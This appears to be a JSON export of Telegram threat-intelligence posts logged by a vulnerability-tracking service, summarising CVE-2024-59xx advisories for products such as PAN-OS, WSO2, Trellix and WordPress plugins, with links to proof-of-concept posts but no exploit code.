"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5920", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14140", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5920\n\ud83d\udd25 CVSS Score: 4.6 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Amber)\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write Panorama administrator to push a specially crafted configuration to a PAN-OS node. This enables impersonation of a legitimate PAN-OS administrator who can perform restricted actions on the PAN-OS node after the execution of JavaScript in the legitimate PAN-OS administrator's browser.\n\ud83d\udccf Published: 2024-11-14T09:40:14.513Z\n\ud83d\udccf Modified: 2025-04-30T18:39:21.484Z\n\ud83d\udd17 References:\n1. https://security.paloaltonetworks.com/CVE-2024-5920", "creation_timestamp": "2025-04-30T19:13:56.000000Z"}, {"uuid": "6ae47a36-95e0-40ae-a4f2-87ea29083362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5971", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6207", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5971\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A vulnerability was found in Undertow, where the chunked response hangs after the body was flushed. The response headers and body were sent but the client would continue waiting as Undertow does not send the expected 0\\r\\n termination of the chunked response. This results in uncontrolled resource consumption, leaving the server side to a denial of service attack. This happens only with Java 17 TLSv1.3 scenarios.\n\ud83d\udccf Published: 2024-07-08T20:51:29.223Z\n\ud83d\udccf Modified: 2025-03-03T14:17:30.281Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:4392\n2. https://access.redhat.com/errata/RHSA-2024:4884\n3. https://access.redhat.com/errata/RHSA-2024:5143\n4. https://access.redhat.com/errata/RHSA-2024:5144\n5. https://access.redhat.com/errata/RHSA-2024:5145\n6. https://access.redhat.com/errata/RHSA-2024:5147\n7. https://access.redhat.com/errata/RHSA-2024:6508\n8. https://access.redhat.com/errata/RHSA-2024:6883\n9. https://access.redhat.com/security/cve/CVE-2024-5971\n10. https://bugzilla.redhat.com/show_bug.cgi?id=2292211", "creation_timestamp": "2025-03-03T14:30:00.000000Z"}, {"uuid": "27ab229b-1044-4877-aada-eab7f87978a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5960", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10523", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5960\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N)\n\ud83d\udd39 Description: Plaintext Storage of a Password vulnerability in Eliz Software Panel allows : Use of Known Domain Credentials.This issue affects Panel: before v2.3.24.\n\ud83d\udccf Published: 2024-09-18T14:49:32.180Z\n\ud83d\udccf Modified: 2025-04-04T18:17:37.285Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-24-1497", "creation_timestamp": "2025-04-04T18:36:16.000000Z"}, {"uuid": "89bf6f77-43ab-4aa3-bf0d-e30b282c51f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5962", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17343", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5962\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: A reflected cross-site scripting (XSS) vulnerability exists in the authentication endpoint of multiple WSO2 products due to missing output encoding of user-supplied input. A malicious actor can exploit this vulnerability to inject arbitrary JavaScript into the authentication flow, potentially leading to UI modifications, redirections to malicious websites, or data exfiltration from the browser.\n\nWhile this issue could allow an attacker to manipulate the user\u2019s browser, session-related sensitive cookies remain protected with the httpOnly flag, preventing session hijacking.\n\ud83d\udccf Published: 2025-05-22T19:34:05.818Z\n\ud83d\udccf Modified: 2025-05-22T19:34:05.818Z\n\ud83d\udd17 References:\n1. https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2024-3443/", "creation_timestamp": "2025-05-22T19:45:46.000000Z"}, {"uuid": "7c8cfe20-e484-48bd-aa85-cd996135de83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/4439", "content": "", "creation_timestamp": "2025-05-04T07:31:22.000000Z"}, {"uuid": "529c0c64-a45a-4a97-b35c-bf1c1f991ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/TF8Vs6bNYDBC4FvfJA4wAxk-gnvDesrZRCD6Q4ejnVeW_ys", "content": "", "creation_timestamp": "2024-12-09T15:43:12.000000Z"}, {"uuid": "a00fc23e-17db-4ef6-8d2b-37ab3125cc39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "published-proof-of-concept", "source": "https://t.me/CyberBulletin/1619", "content": "\u26a1\ufe0fPalo Alto Networks Warns of GlobalProtect App Flaw with Public Exploit Code (CVE-2024-5921).\n\n#CyberBulletin", "creation_timestamp": "2024-11-26T13:02:35.000000Z"}, {"uuid": "475eafc1-21bb-4619-b86d-401e183dd91e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "Telegram/n1cKpTo1YZG03Fp2_v6aVF95dfI4Hw-1TtYepzj3seBijw", "content": "", "creation_timestamp": "2024-08-21T09:48:51.000000Z"}, {"uuid": "5c2061cd-a1c4-4f16-9d00-3b6893e848f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/12372", "content": "\u200aThe Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\n\nhttps://infosecwriteups.com/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss----7b722bfd1b8d---4", "creation_timestamp": "2024-09-08T17:47:07.000000Z"}, {"uuid": "d491d673-8d52-4387-9b8a-6ba8dc09e42a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5955", "type": "seen", "source": "https://t.me/cvedetector/13410", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5955 - Trellix ePolicy Orchestrator Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5955 \nPublished : Dec. 20, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : Cross-site scripting vulnerability in Trellix ePolicy Orchestrator prior to ePO 5.10 Service Pack 1 Update 3 allows a remote authenticated attacker to craft requests causing arbitrary content to be injected into the response when accessing the epolicy Orchestrator. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T08:23:00.000000Z"}, {"uuid": "645dfe2b-f48c-40ce-8092-e573fbd72660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5917", "type": "seen", "source": "https://t.me/cvedetector/10915", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5917 - PAN-OS Server-Side Request Forgery\", \n  \"Content\": \"CVE ID : CVE-2024-5917 \nPublished : Nov. 14, 2024, 10:15 a.m. | 17\u00a0minutes ago \nDescription : A server-side request forgery in PAN-OS software enables an unauthenticated attacker to use the administrative web interface as a proxy, which enables the attacker to view internal network resources not otherwise accessible. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T11:38:04.000000Z"}, {"uuid": "a8ff9c74-6401-4e2c-97f4-690ce9c02f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5918", "type": "seen", "source": "https://t.me/cvedetector/10916", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5918 - Palo Alto Networks PAN-OS Certificate Forgery\", \n  \"Content\": \"CVE ID : CVE-2024-5918 \nPublished : Nov. 14, 2024, 10:15 a.m. | 17\u00a0minutes ago \nDescription : An improper certificate validation vulnerability in Palo Alto Networks PAN-OS software enables an authorized user with a specially crafted client certificate to connect to an impacted GlobalProtect portal or GlobalProtect gateway as a different legitimate user. This attack is possible only if you \"Allow Authentication with User Credentials OR Client Certificate.\" \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T11:38:05.000000Z"}, {"uuid": "9365238c-1c9f-4add-9ea1-c78c07555b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5920", "type": "seen", "source": "https://t.me/cvedetector/10911", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5920 - Palo Alto Networks PAN-OS Panorama Administrator XSS Impersonation\", \n  \"Content\": \"CVE ID : CVE-2024-5920 \nPublished : Nov. 14, 2024, 10:15 a.m. | 17\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write Panorama administrator to push a specially crafted configuration to a PAN-OS node. This enables impersonation of a legitimate PAN-OS administrator who can perform restricted actions on the PAN-OS node after the execution of JavaScript in the legitimate PAN-OS administrator's browser. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T11:37:58.000000Z"}, {"uuid": "66044ebc-76bf-4232-8956-f308d4a220fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5919", "type": "seen", "source": "https://t.me/cvedetector/10910", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5919 - Palo Alto Networks PAN-OS XXE Exfiltration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5919 \nPublished : Nov. 14, 2024, 10:15 a.m. | 17\u00a0minutes ago \nDescription : A blind XML External Entities (XXE) injection vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker to exfiltrate arbitrary files from firewalls to an attacker controlled server. This attack requires network access to the firewall management interface. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T11:37:57.000000Z"}, {"uuid": "0efd330a-cc64-4839-bd92-7a9681b13424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5982", "type": "seen", "source": "https://t.me/cvedetector/9328", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5982 - Gaizhenbiao/Chuanhuchatgpt Path Traversal RCE and Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5982 \nPublished : Oct. 29, 2024, 1:15 p.m. | 22\u00a0minutes ago \nDescription : A path traversal vulnerability exists in the latest version of gaizhenbiao/chuanhuchatgpt. The vulnerability arises from unsanitized input handling in multiple features, including user upload, directory creation, and template loading. Specifically, the load_chat_history function in modules/models/base_model.py allows arbitrary file uploads, potentially leading to remote code execution (RCE). The get_history_names function in utils.py permits arbitrary directory creation. Additionally, the load_template function in utils.py can be exploited to leak the first column of CSV files. These issues stem from improper sanitization of user inputs concatenated with directory paths using os.path.join. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T14:46:55.000000Z"}, {"uuid": "575dbbc0-a5f0-44e8-9981-b3a69b235789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5968", "type": "seen", "source": "https://t.me/cvedetector/7433", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5968 - \"10Web Photo Gallery Stored Cross-Site Scriptingypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-5968 \nPublished : Oct. 9, 2024, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The Photo Gallery by 10Web  WordPress plugin before 1.8.28 does not properly sanitise and escape some of its Gallery settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-09T08:57:24.000000Z"}, {"uuid": "19f8d316-1f06-497e-b765-82f6e58eb4e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://t.me/cibsecurity/80881", "content": "\ud83e\udd85 CISA Finds Palo Alto Networks\u2019 CVE-2024-5910 Exploited in the Wild \ud83e\udd85\n\n  Overview     The U.S. Cybersecurity and Infrastructure Security Agency CISA on Thursday alerted federal agencies regarding active exploitation of a critical missing authentication vulnerability in Palo Alto Networks Expedition, a tool widely used by administrators for firewall migration and configuration management.   This flaw, designated CVE20245910, has been actively exploited by attackers since its patch release in July, underscoring the urgency for immediate remediation.   Expedition is a popular migration tool designed to assist administrators in transitioning firewall configurations from vendors such as Check Point and Cisco to Palo Altos PANOS. However, due to a missing authentication mechanism, this tool now presents a significant risk for compromised credentials and potentia...\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"CYBLE\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2024-11-08T20:01:43.000000Z"}, {"uuid": "f955e580-b874-4f3c-990f-72332e95051b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/cvedetector/6592", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-8353 - GiveWP PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-8353 \nPublished : Sept. 28, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.16.1 via deserialization of untrusted input via several parameters like 'give_title' and 'card_address'. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to delete arbitrary files and achieve remote code execution. This is essentially the same vulnerability as CVE-2024-5932, however, it was discovered the the presence of stripslashes_deep on user_info allows the is_serialized check to be bypassed. This issue was mostly patched in 3.16.1, but further hardening was added in 3.16.2. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-28T05:17:09.000000Z"}, {"uuid": "ce40a0c4-25ad-4827-9f9f-cf1d7b33708c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5998", "type": "seen", "source": "https://t.me/cvedetector/5806", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5998 - Langchain FAISS Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5998 \nPublished : Sept. 17, 2024, 12:15 p.m. | 29\u00a0minutes ago \nDescription : A vulnerability in the FAISS.deserialize_from_bytes function of langchain-ai/langchain allows for pickle deserialization of untrusted data. This can lead to the execution of arbitrary commands via the os.system function. The issue affects the latest version of the product. \nSeverity: 5.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-17T14:46:22.000000Z"}, {"uuid": "92b891e8-c5c0-4d0b-8a20-cafffc30efd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5931", "type": "seen", "source": "https://t.me/cvedetector/5652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5931 - \"Apache Brooklyn Unvalidated User Input\"\", \n  \"Content\": \"CVE ID : CVE-2024-5931 \nPublished : Sept. 13, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : BT: Unchecked user input in bap_broadcast_assistant \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-13T22:59:18.000000Z"}, {"uuid": "4cbd7d97-7b18-4e24-a9cb-0470636268a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5987", "type": "seen", "source": "https://t.me/cvedetector/4380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5987 - WordPress WAH Plugin Contrast Settings Unauthorized Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5987 \nPublished : Aug. 29, 2024, 11:15 a.m. | 21\u00a0minutes ago \nDescription : The WP Accessibility Helper (WAH) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'save_contrast_variations' and 'save_empty_contrast_variations' functions in all versions up to, and including, 0.6.2.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to edit or delete contrast settings.  Please note these issues were patched in 0.6.2.8, though it broke functionality and the vendor has not responded to our follow-ups. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-29T13:42:38.000000Z"}, {"uuid": "373b5cdf-2b46-479f-81bc-7d7406e938c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5991", "type": "seen", "source": "https://t.me/cvedetector/4270", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5991 - wolfSSL Null-Terminated String Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5991 \nPublished : Aug. 27, 2024, 7:15 p.m. | 43\u00a0minutes ago \nDescription : In function MatchDomainName(), input param str is treated as a NULL terminated string despite being user provided and unchecked. Specifically, the function X509_check_host() takes in a pointer and length to check against, with no requirements that it be NULL terminated. If a caller was attempting to do a name check on a non-NULL terminated buffer, the code would read beyond the bounds of the input array until it found a NULL terminator.This issue affects wolfSSL: through 5.7.0. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-27T22:24:47.000000Z"}, {"uuid": "ce63fd48-4743-4335-aef6-5716a06ca427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5960", "type": "seen", "source": "https://t.me/cvedetector/5989", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5960 - Eliz Software Panel PlainText Password Storage\", \n  \"Content\": \"CVE ID : CVE-2024-5960 \nPublished : Sept. 18, 2024, 3:15 p.m. | 17\u00a0minutes ago \nDescription : Plaintext Storage of a Password vulnerability in Eliz Software Panel allows : Use of Known Domain Credentials.This issue affects Panel: before v2.3.24. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-18T17:35:21.000000Z"}, {"uuid": "040cfab3-ee4b-40d8-a033-342cc6b8a2bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5959", "type": "seen", "source": "https://t.me/cvedetector/5988", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5959 - Eliz Software Panel Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-5959 \nPublished : Sept. 18, 2024, 3:15 p.m. | 17\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Eliz Software Panel allows Stored XSS.This issue affects Panel: before v2.3.24. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-18T17:35:20.000000Z"}, {"uuid": "6ffa452b-ba37-4053-9455-313f174aa83e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5958", "type": "seen", "source": "https://t.me/cvedetector/5987", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5958 - Eliz Software Panel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-5958 \nPublished : Sept. 18, 2024, 3:15 p.m. | 17\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Eliz Software Panel allows Command Line Execution through SQL Injection.This issue affects Panel: before v2.3.24. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-18T17:35:16.000000Z"}, {"uuid": "73ceb289-66f8-4d69-8431-147b03c02ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5956", "type": "seen", "source": "https://t.me/cvedetector/4900", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5956 - Trellix IPS Manager Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-5956 \nPublished : Sept. 5, 2024, 11:15 a.m. | 30\u00a0minutes ago \nDescription : This vulnerability allows unauthenticated remote attackers to bypass authentication and gain partial data access to the vulnerable Trellix IPS Manager with garbage data in response mostly \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-05T13:50:19.000000Z"}, {"uuid": "faa741df-1961-4c35-b71b-c45ce2a1a1a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5957", "type": "seen", "source": "https://t.me/cvedetector/4898", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5957 - \"Apache Manager Authentication Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-5957 \nPublished : Sept. 5, 2024, 11:15 a.m. | 30\u00a0minutes ago \nDescription : This vulnerability allows unauthenticated remote attackers to bypass authentication and gain APIs access of the Manager. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-05T13:50:17.000000Z"}, {"uuid": "6dfab551-ab93-4fcf-a999-60cf4e0c06a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5929", "type": "seen", "source": "https://t.me/cvedetector/3796", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5929 - VIPRE Advanced Security PMAgent Unsecured Path Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5929 \nPublished : Aug. 21, 2024, 5:15 p.m. | 30\u00a0minutes ago \nDescription : VIPRE Advanced Security PMAgent Uncontrolled Search Path Element Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Advanced Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the Patch Management Agent. The issue results from loading a file from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-22316. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-21T19:55:32.000000Z"}, {"uuid": "833da899-6bf4-4c78-9f62-2cf064df3dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5939", "type": "seen", "source": "https://t.me/cvedetector/3592", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5939 - GiveWP \u2013 Donation Plugin and Fundraising Platform \u2013 Unauthenticated Data Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5939 \nPublished : Aug. 20, 2024, 2:15 a.m. | 17\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'setup_wizard' function in all versions up to, and including, 3.13.0. This makes it possible for unauthenticated attackers to read the setup wizard administrative pages. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS 